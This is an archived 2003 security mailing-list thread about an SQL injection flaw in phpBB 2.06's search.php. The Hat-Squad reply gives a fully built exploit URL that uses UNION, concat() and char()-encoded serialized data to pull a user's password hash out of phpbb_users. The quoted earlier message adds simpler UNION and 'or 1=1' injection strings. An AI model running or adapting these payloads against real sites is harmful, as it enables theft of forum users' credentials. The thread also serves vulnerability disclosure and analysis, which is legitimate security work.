OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Re: phpBB 2.06 search.php SQL injection

From: Hat-Squad Security Team (servicehat-squad.com)
Date: Sat Nov 29 2003 - 01:35:14 CST


In-Reply-To: <3FC7D97E.22063.167ABDDlocalhost>

A explanation about the released exploit code:

phpBB stores the search records in serialized format in php_search_result table.in our case when search_id is not one of these values ('newposts' || 'egosearch' || 'unanswered' |)) then this routine will be run:

//code snnipset from search.php

$search_id = intval($search_id);
                if ( $search_id )
                {
                        $sql = "SELECT search_array
                                FROM " . SEARCH_TABLE . "
                                WHERE search_id = $search_id
                                        AND session_id = '". $userdata['session_id'] . "'";
                        if ( !($result = $db->sql_query($sql)) )
                        {

//

as you can see intval($search_id) is not safe, so the first idea in a Mysql>4 enviroment would be :

search_id=1 union select user_password from php_users where user_id=[uid] /*

/* will remark the rest of Sql string (AND session_id = '". $userdata['session_id'] . "'")

but if you run this query you will get nothing useful, seeking the rest of code in search.php we find:

//code snnipset from search.php

$search_data = unserialize($row['search_array']);
                for($i = 0; $i < count($store_vars); $i++)
                                {
                        $$store_vars[$i] = $search_data$store_vars[$i]];
                                }
                        }
                }
        }

        //
        // Look up data ...
        //
        if ( $search_results != '' ) {
//run search queries on post_ids,... then DISPLAY results(and our requested password;)

feeding our query to this code the $row['search_array']) will have MD5 hash of uid BUT remeber IT MUST BE IN Serialized format to be consider by the rest of the code responsible for DISPLAYING result sets,So we must build a query to return PASSWORD HASH in the form of serialized variables(To learn more about Serialize and unserialize functions see php manual).
a simple serialized string variable $a="test" will be stored like this: a:1:{s:0:"";s:4:"test";}
and a serialized result set in search.php has this format:
a:7:{s:14:"search_results";s:28:"5184,,5538,,5721,,5776,,5979";s:17:"total_match_count";i:5;s:12:"split_search";a:1:{i:0;s:8:"aaaaaa";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}

we will place user_password as split_search instead of "aaaaaa". using MySql concat() and char() functions with ASCII code format of the above serilized object:

concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))

(the CHAR function and ascii codes are used to bypass sql string ecape)

and the final qury would be :
http://site.com/search.php?search_id=1%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=[id]/*

running this query will return possible search results AND ALSO MD5 has as search_split.

Thanks,

Hat-Squad Security Team

>zarath AT knightsofchaos DOT com wrote:
>
>Greetings BugTraq,
>
>I have tested this vulnerability fairly extensively since it was announced on
>phpBB.com.
>Even though the version I'm using clearly has the vulnerable code it in,
>it does not seem to work as easily as this is being made out. My server is running
>PHP 4.3.4, and MySQL 4.0.15. The way I tested (which you didn't provide any proof
>of concept code) was through a UNION command ->
>http://yourdomain/yourforums/search.php?search_id=1
>UNION select `user_password` from `phpbb_users` where user_id=1/*
>
>
>However, due to the fact that it uses an array function to pull all the relative
>information
>and the hash returns a single value without the seperators, it won't
>acknowledge that a result was returned.
>
>If you try -> http://yourdomain/yourforums/search.php?search_id=1 or 1=1 UNION
>select
>`user_password` from `phpbb_users` where user_id=1/*
>It will return all search results, but since it will only handle the first returned
>column and doesn't loop over them, it still won't display the password hash.
>
>From what I've tried so far, this doesn't really seem to be a critical vulnerability
>-- just an SQL injection that would allow you to get maybe the prefix of the
>forum tables or other insignifcant information.
>
>The SQL injection still exists if that URL you specified
>"http://your_site/phpBB2/search.php?search_id=1"
>returns "No topics or posts met your search criteria", also.
>A better way to test would be to mess with the query. Something like ->
>http://your_site/phpBB2/search.php?search_id=1
>or blah=blah if that returns a debugging
>error, that means your boards are vulnerable.
>
>Zarath
>
>